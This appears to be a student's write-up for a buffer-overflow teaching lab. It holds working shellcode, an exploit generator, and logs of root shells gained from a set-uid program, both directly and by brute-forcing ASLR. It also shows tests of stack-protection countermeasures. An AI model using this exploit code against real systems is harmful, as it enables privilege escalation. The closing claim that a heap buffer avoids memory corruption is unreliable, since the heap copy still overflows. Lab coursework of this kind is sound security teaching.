Q1: None

Q2: By running **call_shellcode**, the shell we previously linked to (i.e., zsh) is invoked.

```
[03/02/20]seed@VM:~/.../code$ gcc -z execstack -o call_shellcode call_shellcode.c
[03/02/20]seed@VM:~/.../code$ ./call_shellcode
$ ls
aslr.sh         call_shellcode.c   dash_shellcode.c  exploit.py   stack.c
call_shellcode  dash_shell_test.c  exploit.c         shellcode.c
```

Q3: By running the set-uid program **stack**, we invoked the zsh shell with root privilege.

```
[03/02/20]seed@VM:~/.../code$ ./stack
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
#
```

Q4: Memory address of the variable buffer: 0xbfffea08

```
ESP: 0xbfffe9f0 --> 0xbfffea08 --> 0xb7fba000 --> 0x1b1db0
```

Q5:

```
/* exploit.c  */

/* A program that creates a file containing code for
   launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax     */
    "\x50"                 /* pushl   %eax          */
    "\x68""//sh"           /* pushl   $0x68732f2f   */
    "\x68""/bin"           /* pushl   $0x6e69622f   */
    "\x89\xe3"             /* movl    %esp,%ebx     */
    "\x50"                 /* pushl   %eax          */
    "\x53"                 /* pushl   %ebx          */
    "\x89\xe1"             /* movl    %esp,%ecx     */
    "\x99"                 /* cdq                   */
    "\xb0\x0b"             /* movb    $0x0b,%al     */
    "\xcd\x80"             /* int     $0x80         */
;

int main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate
       contents here */
    strcpy(buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc7\xea\xff\xbf");
    strcpy(buffer+128, shellcode);
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Q6:

```
[03/02/20]seed@VM:~/.../code$ hexdump badfile
0000000 9090 9090 9090 9090 9090 9090 9090 9090
*
0000020 9090 9090 eac7 bfff 9000 9090 9090 9090
0000030 9090 9090 9090 9090 9090 9090 9090 9090
*
0000080 c031 6850 2f2f 6873 2f68 6962 896e 50e3
0000090 8953 99e1 0bb0 80cd 9000 9090 9090 9090
00000a0 9090 9090 9090 9090 9090 9090 9090 9090
*
0000205
[03/02/20]seed@VM:~/.../code$
```

Q7: By running the set-uid program **stack**, we invoked the dash shell with root privilege. Task 3 defeats dash's countermeasure by setting uid to 0 (which stands for root) before the check in Line 11 happens (which compares real and effective user/group IDs). Since now both real and effective user IDs are root, and both real and effective group IDs are seed, the program passes the check and continues to invoke the dash shell with root privilege.

```
[03/02/20]seed@VM:~/.../code$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmi
mbashare)
# whoami
root
# echo $0
/bin//sh
#
```

Q8: After 36 minutes and 11 seconds, 586857 iterations, we managed to invoke the shell.

```
The program has been running 586845 times so far.
./aslr.sh: line 15: 10160 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586846 times so far.
./aslr.sh: line 15: 10161 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586847 times so far.
./aslr.sh: line 15: 10162 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586848 times so far.
./aslr.sh: line 15: 10163 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586849 times so far.
./aslr.sh: line 15: 10164 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586850 times so far.
./aslr.sh: line 15: 10165 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586851 times so far.
./aslr.sh: line 15: 10166 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586852 times so far.
./aslr.sh: line 15: 10167 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586853 times so far.
./aslr.sh: line 15: 10168 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586854 times so far.
./aslr.sh: line 15: 10169 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586855 times so far.
./aslr.sh: line 15: 10170 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586856 times so far.
./aslr.sh: line 15: 10171 Segmentation fault      ./stack
36 minutes and 11 seconds elapsed.
The program has been running 586857 times so far.
$
```

Q9: When StackGuard is present, the **stack** program reports an error: “stack smashing detected” and the program is terminated.

```
[03/02/20]seed@VM:~/.../code$ gcc -o stack stack.c
[03/02/20]seed@VM:~/.../code$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[03/02/20]seed@VM:~/.../code$
```

Q10: Segmentation fault is observed. Since non-executable stack protection is enabled, when trying to execute code in a non-executable stack, the system detects the violation and aborts the program.

```
[03/02/20]seed@VM:~/.../code$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[03/02/20]seed@VM:~/.../code$ ./stack
Segmentation fault
[03/02/20]seed@VM:~/.../code$
```

```
[03/02/20]seed@VM:~/.../code$ gcc -o call_shellcode call_shellcode.c
[03/02/20]seed@VM:~/.../code$ ./call_shellcode
Segmentation fault
[03/02/20]seed@VM:~/.../code$
```

Q11: Using the hint, we can allocate the buffer on the heap instead of on the stack. And so the function bof is able to copy arbitrary long inputs in the file **badfile** into the heap without corrupting memory.

```
[03/02/20]seed@VM:~/.../code$ gcc -o heap -fno-stack-protector -z noexecstack heap.c
[03/02/20]seed@VM:~/.../code$ ./heap
String = @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@Returned Properly
[03/02/20]seed@VM:~/.../code$
```

```c
/* heap.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char *buffer = (char *) malloc(24);

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    printf("String = %s", buffer);
    free(buffer);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
```